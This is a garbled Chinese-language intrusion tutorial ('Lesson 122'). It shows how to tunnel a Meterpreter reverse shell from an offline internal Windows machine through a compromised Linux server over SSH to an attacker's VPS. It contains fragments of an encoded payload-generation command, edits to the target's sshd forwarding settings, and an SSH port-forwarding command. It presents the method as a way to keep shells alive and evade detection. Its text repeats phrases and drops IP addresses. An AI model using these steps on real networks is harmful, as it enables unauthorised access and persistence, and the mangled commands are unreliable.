一百二十二課利用隧道實(shí)現(xiàn)內(nèi)網(wǎng)斷網(wǎng)機(jī)meterpreter反向上線

MITRE|ATT&CK中文借ssh隧道實(shí)現(xiàn)內(nèi)MITRE|ATT&CK中文借ssh隧道實(shí)現(xiàn)內(nèi)網(wǎng)斷網(wǎng)機(jī)meterpreter反向上本節(jié)重點(diǎn)快速預(yù)覽通過ssh隧道把目標(biāo)內(nèi)網(wǎng)下的斷網(wǎng)機(jī)上的meterpreter直接反彈到我們自己公網(wǎng)的vps基礎(chǔ)環(huán)境準(zhǔn)備假設(shè)為目標(biāo)一級內(nèi)網(wǎng)下的一臺linuxweb服務(wù)器只有此機(jī)器能正常連外網(wǎng)內(nèi)網(wǎng)Ubuntu14-假設(shè)為目標(biāo)一級內(nèi)網(wǎng)下的一臺普通的linux機(jī)器,且無法正常連外網(wǎng),內(nèi)網(wǎng)ip:win10-假設(shè)為目標(biāo)一級內(nèi)網(wǎng)下的一臺windows客戶機(jī),且無法正常連外網(wǎng),內(nèi)網(wǎng)ip:假設(shè)為入侵者公網(wǎng)的一臺vps機(jī)器,內(nèi)網(wǎng)ip:針對上述環(huán)境的大致拓?fù)湔f明,如下1首先,準(zhǔn)備好一個(gè)反向payload,之后繼續(xù)Strike機(jī)器上做好監(jiān)聽,注意,此處payload的反連ip要Ubuntu14-LAMP機(jī)器的ip,具體如#- rc4password=klion-ex86/shikata_ga_nai-b1首先,準(zhǔn)備好一個(gè)反向payload,之后繼續(xù)Strike機(jī)器上做好監(jiān)聽,注意,此處payload的反連ip要Ubuntu14-LAMP機(jī)器的ip,具體如#- rc4password=klion-ex86/shikata_ga_nai-b'\x00'-i5-f-o>>payload>lport>lhost>rc4password>exitonsession>exploit-2.上面的基本準(zhǔn)備工作做好之后,連到目標(biāo)一級內(nèi)網(wǎng)下的OldLamp機(jī)器上去開啟ssh的端口轉(zhuǎn)發(fā)功能,還是那句話如果目標(biāo)監(jiān)控比較到位,直接篡改系統(tǒng)配置文件,是有不小風(fēng)險(xiǎn)的,但好在并不是每個(gè)目標(biāo)都做的那么到位,所以要適時(shí)根據(jù)自己的實(shí)際情況靈活變通,如#viAllowTcpForwardingGatewayPortsTCPKeepAlivePasswordAuthentication#/etc/init.d/sshd3.緊接著,就可以去目標(biāo)一級內(nèi)網(wǎng)下的Ubuntu14-LAMP機(jī)器,開始建立ssh隧道了,通過機(jī)器把meterpreter反彈到自己公網(wǎng)的vps#ssh-C-f-N-g-L0.0.0.0:53:192.168.3.96:53root@192.168.5.16-p#netstat-tulnp|grep4.最后,把payload丟到目標(biāo)一級內(nèi)網(wǎng)下的那臺斷網(wǎng)的win10-client機(jī)器上去執(zhí)行,再回到Strike[vps]機(jī)器如期所致,meterpreter正常被如期所致,meterpreter正常被彈簡單小結(jié)如果目標(biāo)內(nèi)網(wǎng)中同時(shí)有多臺linux機(jī)器,為了能讓你的shell活的更久一些,除了必要的免殺之外,不妨嘗試這種方式讓你的shell流量變得相對隱蔽一些,[當(dāng)然,shell指的可不僅僅是meterpreter],畢竟是被封裝在加隧道中的,相對于其它直接用明文傳送方式,被偵測到的幾率會(huì)小很多,不過需要注意的是,在實(shí)戰(zhàn)中,如果貿(mào)然直用自己的vps這樣